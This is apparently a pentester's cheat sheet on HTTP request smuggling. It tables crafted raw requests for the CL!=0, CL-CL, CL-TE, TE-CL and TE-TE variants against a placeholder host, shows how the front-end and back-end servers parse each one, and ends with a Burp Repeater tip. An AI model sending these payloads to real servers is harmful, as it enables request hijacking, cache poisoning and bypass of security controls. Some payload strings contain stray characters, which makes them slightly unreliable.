HTTP REQUEST SMUGGLING:

|  |  |  |  |
| --- | --- | --- | --- |
| Type | Crafted Request | Front End Proxy Server | Back End Server |
| CL! = 0 | GET / HTTP/1.1\r\n  Host: target.com\r\n  Content-Length: 44\r\n  GET /test HTTP/1.1\r\n  Host: target.com\r\n  \r\n | Content-Length checked. | Content-Length NOT checked. |
| CL-CL | POST / HTTP/1.1\r\n  Host: target.com\r\n  Content-Length: 8\r\n  Content-Length: 7\r\n  12345\r\n  a | Content-Length is 8 here | Content-Length is 7 here |
| CL-TE | POST / HTTP/1.1\r\n  Host: target.com\r\n  Connection: keep-alive\r\n  Content-Length: 6\r\n  Transfer-Encoding: chunked\r\n  \r\n  0\r\n  \r\n  G | Processed the Content-Length request header | Processed the Transfer-Encoding request header |
| TE-CL | POST / HTTP/1.1\r\n  Host: target.com\r\n  Content-Length: 4\r\n  Transfer-Encoding: chunked\r\n  \r\n  12\r\n  GPOST / HTTP/1.1\r\n  \r\n  0\r\n\  \r\n | Processed the Transfer-Encoding request header | Processed the Content-Length request header. |
| TE-TE | POST / HTTP/1.1\r\n  Host: target.com\r\n  Content-Length: 4\r\n  Transfer-Encoding: chunked\r\n  Transfer-Encoding: cow\r\n  \r\n  5c\r\n  GPOST / HTTP/1.1\r\n  Content-Type: application/x-www-form-urlencoded\r\n  Content-Length: 15\r\n  \r\n  x=1\r\n  0\r\n\  \r\n | Accepts the Transfer-Encoding header. Obfuscation is used to not process the header. | Accepts the Transfer-Encoding header. Obfuscation is used to not process the header. |

NOTE:

CL = Content-Length

TE = Transfer-Encoding

Burp: Remember to disable the automatic ‘Update Content-Length’ setting from the Repeater menu before manually testing for request smuggling.